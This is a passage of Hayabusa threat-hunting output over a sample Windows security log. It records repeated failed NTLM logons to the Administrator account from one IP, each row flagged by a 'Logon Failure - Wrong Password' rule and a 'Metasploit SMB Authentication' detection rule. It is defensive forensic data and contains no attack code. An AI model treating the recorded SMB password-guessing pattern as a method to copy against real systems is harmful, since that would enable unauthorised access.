Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.201 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VmAqzaZaeoSjcuh5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.201 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.238 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lKuCpuGcGmDOoewr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.238 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.281 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Bz6SOAeTyqsBz6Oa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.281 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.317 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CSURiEoC7dw0w0ru : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.317 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.369 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bDjwkaHT8lrFmn9X : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.369 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.417 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ayI129HgVWA5q4Sk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.417 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.456 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jT2yiuOJS8Fvf9SD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.456 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.495 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1hpAO2UrjFd6Kxt0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.495 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.537 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZkgGj9Fnqn3XwnBT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.537 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.573 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WFXPYo0yzR7p8dNU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.573 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.624 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9j6MxN7PuM29Vlcq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.624 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.660 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: w1CWIqoV6GzmmlRm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.660 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.696 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uiBfvnfTcIG4xJoi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.696 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.741 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dED7HYntoE5D7XvG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.741 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.781 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pX1ztnCKiePrPbTT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.781 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.824 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: u3XQcfMHJDsBtJDy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.824 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.864 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MhRsRIS5tHKLv2oL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.864 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.917 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JmkLhptugDU2fDWp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.917 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.952 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2yk62yREbgDCj9pB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.952 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.997 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6JPvkmaAsJlwn9t3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.997 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.034 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lhciP1zM9njlRI3j : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.034 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.069 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: duNDenwdo1oHVuoL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.069 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.114 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0ChBZOYkTm1SguA1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.114 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.161 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RU38tuiKC0weexmb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.161 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.196 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jg0Hp4xtz0pAMhCz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.196 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.231 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5AorVNz5MgTeEvn2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.231 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.275 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8oJ6tVjBxlYyj5ej : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.275 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.316 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oEAEOi0TsSRVPlz4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.316 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.364 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: USfEwKkH8OUADVds : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.364 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.400 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: y0jg1i6tDiInd10i : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.400 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.441 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Xv2jRzrgoP6lJdAJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.441 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.485 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LmuAXUwSkhR3tSRg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.485 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.535 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Zy4Fkpvcrlmp9AES : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.535 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.572 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 51ipUXvrRh0CPH1e : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.572 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.670 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5TB15XKzVJwIyjqU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.670 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.713 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: i1F6muFPBlPyHPbR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.713 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.752 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XNXwYS73RElHozUo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.752 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.793 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ft1MLPJISeq0bMsa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.793 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.845 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: i8kbFOwQiCyRVMDV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.845 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.879 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ToPzuDEmXN1fjIcS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.879 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.924 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pKF1QKEuTXIGnrx2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.924 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.964 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fyHpo6pX8TEo6ttv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.964 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:49.000 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3uYqEt90yr8B3rK9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:49.000 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:49.048 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2LKkrM0slVn0CKHw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:49.048 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:49.080 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TyJ82cfaddnc8c6D : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:49.080 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:49.120 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KJRw0S82SupmuS4Y : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:49.120 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:49.161 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: z4lSo9BMWdcPLfLb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:49.161 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 